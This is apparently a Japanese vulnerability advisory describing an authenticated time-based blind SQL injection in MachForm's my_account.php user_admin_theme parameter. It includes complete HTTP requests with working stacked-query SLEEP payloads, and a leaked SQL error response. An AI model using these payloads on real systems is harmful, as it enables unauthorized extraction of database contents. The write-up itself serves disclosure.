
MachForm v19 までの認証済みブラインド SQL インジェクションのエクスプロイトスクリプト。時間ベースの手法を使用して my_account.php エンドポイントからデータベース情報を抽出します。
MachForm バージョン 19 までは、ユーザーアカウント設定ページにおいて認証が必要なブラインド SQL インジェクションの影響を受けます。
SQL インジェクション攻撃は、クライアントアプリケーションの入力データフィールドを利用して SQL クエリを挿入することで行われます。この種の攻撃により、データベースへのアクセスが可能になり、既存データの流出、変更、削除につながる可能性があります。
ブラインド SQL インジェクションは、攻撃者がクエリ結果全体を受け取るのではなく、真偽の質問のみを行える特殊な攻撃です。これは、sleep 関数を使用してデータベースの応答に遅延を強制したり、エラー状態を誘発することで達成できます。
my_account.php リソースの user_admin_theme パラメータは SQL インジェクションに対して脆弱です。

リクエスト:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 100
Origin: https://application-baseurl
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
user_admin_theme=vibrant'+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
レスポンス:
HTTP/1.1 302 Found
Date: Wed, 10 Apr 2024 09:15:21 GMT
Content-Security-Policy: default-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'self' *.application-baseurl; script-src-elem 'self' 'unsafe-inline' www.machform.com
Strict-Transport-Security: max-age=31536000
Referrer-Policy: no-referrer, strict-origin
X-Content-Type-Options: nosniff
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /my_account.php
Vary: Accept-Encoding,User-Agent
Content-Length: 967
Content-Type: text/html; charset=UTF-8
Connection: close
SQL: [647] INSERT INTO `ap_sessions` VALUES('ngkvjulsl5pstmlb8q6jds2vle', 'session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='session_timeout|i:1712740521;mf_logged_in|b:1;mf_user_id|s:2:"11";mf_user_privileges|a:3:{s:15:"priv_administer";i:0;s:14:"priv_new_forms";i:0;s:15:"priv_new_themes";i:0;}mf_user_admin_theme|s:9:"vibrant' ";MF_SUCCESS|s:28:"Your profile has been saved.";',`timestamp`='1712740521'
Params: 0
Query Failed: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'Your profile has been saved.";', '1712740521') ON DUPLICATE KEY UPDATE `data`='s' at line 1
これは、sleep 条件を使用し、リクエストされたクエリ結果に基づいて応答時間の遅延が変化するかどうかを確認することで、時間ベースの攻撃を利用して悪用できます。
クエリ:
SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE SLEEP(0) END
常に True の条件を使用すると、アプリケーションの応答は 2000ms 以上かかります。

リクエスト:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d1)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
クエリ:
SELECT CASE WHEN (1=2) THEN SLEEP(2) ELSE SLEEP(0) END
代わりに常に False の条件を使用すると、アプリケーションの応答はほぼ即時です。

リクエスト:
POST /my_account.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Referer: https://application-baseurl/
Content-Type: application/x-www-form-urlencoded
Content-Length: 228
Origin: https://application-baseurl
Connection: close
user_admin_theme=dark',+'1712843926')+ON+DUPLICATE+KEY+UPDATE+`timestamp`%3d'1712843926'%3b+SELECT+CASE+WHEN+(1%3d0)+THEN+SLEEP(2)+ELSE+SLEEP(0)+END+--+&user_email=existing_user%40email.com&tsv_confirm_token=&submit_form=1
この脆弱性は、入力されたクエリが真か偽の応答を返すかを理解するために応答時間を評価する簡単なスクリプトを使用して悪用できます。
以下は、exploit.py を使用してデータベースの現在のユーザーを取得する例です。
